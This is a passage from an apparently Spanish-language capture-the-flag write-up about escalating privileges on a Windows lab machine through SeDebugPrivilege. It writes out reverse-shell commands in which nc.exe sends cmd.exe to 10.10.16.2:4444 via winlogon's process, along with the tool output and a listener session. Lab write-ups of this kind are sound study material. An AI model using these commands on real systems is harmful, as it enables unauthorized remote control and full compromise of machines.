ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe...False - pid: 0 - Last error: 2
De manera que volvemos a la biblia HackTricks y allí muestran otro repositorio de Github llamado ‘SeDebugPrivilege-Exploit’. Lo descargo de sus releases, paso el archivo .exe
a la máquina víctima y, desde la CMD
con todos privilegios habilitados, -y luego de comenzar otro listener con netcat
en el puerto 4444
- lo corro usando el id
del proceso winlogon
previamente hallado (552
en mi caso):
C:\Users\Public\Downloads>.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
pid= 552
[+] New process is created successfully.
|-> PID : 2996
|-> TID : 3456
donde SeDebugPrivesc.exe
lo renombré como debug.exe
. Al correr esto obtengo una nueva shell:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>
El único problema es que esta consola está algo “buggeada” ya que algunos comandos no muestran output, tales como whoami
:
C:\Users\Public\Downloads>whoami
whoami
C:\Users\Public\Downloads>
Sin embargo, noto que puedo leer la flag del usuario Administrator
, de manera que esta es una shell de un usuario con todos los privilegios:
C:\Users\Public>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
853<SNIP>
Y eso es todo :)
~Happy Hacking